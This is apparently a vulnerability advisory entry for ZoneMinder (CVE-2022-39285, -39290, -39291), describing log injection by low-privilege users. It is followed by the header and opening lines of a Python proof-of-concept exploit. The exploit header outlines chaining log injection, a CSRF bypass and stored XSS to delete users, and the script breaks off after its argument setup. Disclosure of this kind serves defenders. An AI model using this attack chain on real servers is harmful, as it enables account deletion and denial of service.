TITLE

ZoneMinder  Input verification vulnerability in

DESCRIPTION

ZoneMinder is a free, open source Closed-circuit television software application. Affected versions of zoneminder are subject to a vulnerability which allows users with "View" system permissions to inject new data into the logs stored by Zoneminder. This was observed through an HTTP POST request containing log information to the "/zm/index.php" endpoint. Submission is not rate controlled and could affect database performance and/or consume all storage resources. Users are advised to upgrade. There are no known workarounds for this issue. ZoneMinder There is an input validation vulnerability in.Information is tampered with and service operation is interrupted (DoS) It may be in a state. # Exploit Title: Zoneminder v1.36.26 - Log Injection -> CSRF Bypass -> Stored Cross-Site Scripting (XSS) # Date: 10/01/2022 # Exploit Author: Trenches of IT # Vendor Homepage: https://github.com/ZoneMinder/zoneminder # Version: v1.36.26 # Tested on: Linux/Windows # CVE: CVE-2022-39285, CVE-2022-39290, CVE-2022-39291 # Writeup: https://www.trenchesofit.com/2022/09/30/zoneminder-web-app-testing/ # # Proof of Concept: # 1 - The PoC injects a XSS payload with the CSRF bypass into logs. (This action will repeat every second until manually stopped) # 2 - Admin user logs navigates to http://<target>/zm/index.php?view=log # 3 - XSS executes delete function on target UID (user). import requests import re import time import argparse import sys def getOptions(args=sys.argv[1:]): parser = argparse.ArgumentParser(description="Trenches of IT Zoneminder Exploit PoC", epilog="Example: poc.py -i 1.2.3.4 -p 80 -u lowpriv -p lowpriv -d 1") parser.add_argument("-i", "--ip", help="Provide the IP or hostname of the target zoneminder server.
